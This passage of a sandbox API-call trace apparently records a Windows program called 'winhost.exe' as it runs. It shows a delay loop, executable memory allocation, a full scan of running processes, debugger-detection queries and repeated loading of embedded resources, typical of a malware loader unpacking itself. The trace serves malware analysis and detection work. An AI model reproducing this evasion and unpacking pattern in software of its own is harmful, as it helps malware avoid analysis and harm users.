(Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0195.890] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0196.034] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0196.170] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0196.311] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0196.451] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0196.592] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0196.732] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0196.874] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.013] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.153] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.294] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.434] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.575] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.720] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.856] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0197.996] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0198.136] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0198.277] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0198.417] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0198.557] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0198.699] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0198.838] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0198.979] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0199.119] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0199.259] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0199.400] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0199.540] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0199.680] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0199.821] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0199.961] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0200.103] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x2a0000 [0200.105] LoadLibraryA (lpLibFileName="shell32") returned 0x75cc0000 [0200.105] LoadLibraryA (lpLibFileName="user32") returned 0x771d0000 [0200.105] LoadLibraryA (lpLibFileName="advapi32") returned 0x76f90000 [0200.106] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000 [0200.106] VirtualAlloc (lpAddress=0x0, dwSize=0x8000005, flAllocationType=0x3000, flProtect=0x4) returned 0x38b0000 [0201.751] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x130 [0201.752] Process32FirstW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.753] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0201.753] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0201.754] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.754] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0201.755] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.756] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0201.756] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0201.757] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0201.757] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0201.758] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.758] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.759] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.759] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.760] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.760] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0201.761] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.761] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.762] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0201.762] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0201.763] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0201.764] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.764] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.765] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0201.765] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0201.766] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0201.766] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0201.767] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0201.767] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0201.768] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0201.768] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0201.769] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0201.769] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0201.770] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0201.770] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0201.771] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0201.772] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0201.772] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0201.773] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0201.773] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0201.774] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0201.774] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0201.775] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0201.775] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0201.776] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0201.776] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0201.777] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.777] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0201.778] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.779] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0201.779] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0201.780] Process32NextW (in: hSnapshot=0x130, lppe=0x18f204 | out: lppe=0x18f204*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmiprvse.exe")) returned 0 [0201.780] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f1dc, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0201.780] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1f, ProcessInformation=0x18f42c, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18f42c, ReturnLength=0x0) returned 0x0 [0201.780] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x18f428, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18f428, ReturnLength=0x0) returned 0xc0000353 [0201.780] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " [0201.780] CallWindowProcW (lpPrevWndFunc=0x2c0004, hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0xa4c920 [0201.780] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" ", pNumArgs=0x18f42c | out: pNumArgs=0x18f42c) returned 0xa4c920*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" [0201.781] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.781] FindResourceW (hModule=0x400000, lpName=0x3e8, lpType=0xb) returned 0x470b28 [0201.781] SizeofResource (hModule=0x400000, hResInfo=0x470b28) returned 0xa4 [0201.781] LoadResource (hModule=0x400000, hResInfo=0x470b28) returned 0x491c94 [0201.781] VirtualAlloc (lpAddress=0x0, dwSize=0xa4, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0201.781] VirtualAlloc (lpAddress=0x0, dwSize=0x35a94, flAllocationType=0x3000, flProtect=0x4) returned 0x2a50000 [0201.781] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.781] FindResourceW (hModule=0x400000, lpName=0x235, lpType=0x2) returned 0x4703e8 [0201.781] SizeofResource (hModule=0x400000, hResInfo=0x4703e8) returned 0x4c5 [0201.781] LoadResource (hModule=0x400000, hResInfo=0x4703e8) returned 0x472848 [0201.781] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.781] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.782] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.782] FindResourceW (hModule=0x400000, lpName=0x236, lpType=0x2) returned 0x4703f8 [0201.782] SizeofResource (hModule=0x400000, hResInfo=0x4703f8) returned 0x4c5 [0201.782] LoadResource (hModule=0x400000, hResInfo=0x4703f8) returned 0x472d10 [0201.782] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.782] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.782] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.782] FindResourceW (hModule=0x400000, lpName=0x237, lpType=0x2) returned 0x470408 [0201.782] SizeofResource (hModule=0x400000, hResInfo=0x470408) returned 0x4c5 [0201.782] LoadResource (hModule=0x400000, hResInfo=0x470408) returned 0x4731d8 [0201.782] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.782] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.783] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.783] FindResourceW (hModule=0x400000, lpName=0x238, lpType=0x2) returned 0x470418 [0201.783] SizeofResource (hModule=0x400000, hResInfo=0x470418) returned 0x4c5 [0201.783] LoadResource (hModule=0x400000, hResInfo=0x470418) returned 0x4736a0 [0201.783] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.783] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.783] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.783] FindResourceW (hModule=0x400000, lpName=0x239, lpType=0x2) returned 0x470428 [0201.783] SizeofResource (hModule=0x400000, hResInfo=0x470428) returned 0x4c5 [0201.783] LoadResource (hModule=0x400000, hResInfo=0x470428) returned 0x473b68 [0201.783] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.784] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.784] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.784] FindResourceW (hModule=0x400000, lpName=0x23a, lpType=0x2) returned 0x470438 [0201.784] SizeofResource (hModule=0x400000, hResInfo=0x470438) returned 0x4c5 [0201.784] LoadResource (hModule=0x400000, hResInfo=0x470438) returned 0x474030 [0201.784] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.784] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.784] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.784] FindResourceW (hModule=0x400000, lpName=0x23b, lpType=0x2) returned 0x470448 [0201.784] SizeofResource (hModule=0x400000, hResInfo=0x470448) returned 0x4c5 [0201.784] LoadResource (hModule=0x400000, hResInfo=0x470448) returned 0x4744f8 [0201.784] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.785] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.785] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.785] FindResourceW (hModule=0x400000, lpName=0x23c, lpType=0x2) returned 0x470458 [0201.785] SizeofResource (hModule=0x400000, hResInfo=0x470458) returned 0x4c5 [0201.785] LoadResource (hModule=0x400000, hResInfo=0x470458) returned 0x4749c0 [0201.785] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.785] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.785] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.785] FindResourceW (hModule=0x400000, lpName=0x23d, lpType=0x2) returned 0x470468 [0201.785] SizeofResource (hModule=0x400000, hResInfo=0x470468) returned 0x4c5 [0201.785] LoadResource (hModule=0x400000, hResInfo=0x470468) returned 0x474e88 [0201.785] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.786] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.786] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.786] FindResourceW (hModule=0x400000, lpName=0x23e, lpType=0x2) returned 0x470478 [0201.786] SizeofResource (hModule=0x400000, hResInfo=0x470478) returned 0x4c5 [0201.786] LoadResource (hModule=0x400000, hResInfo=0x470478) returned 0x475350 [0201.786] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.786] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.786] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.786] FindResourceW (hModule=0x400000, lpName=0x23f, 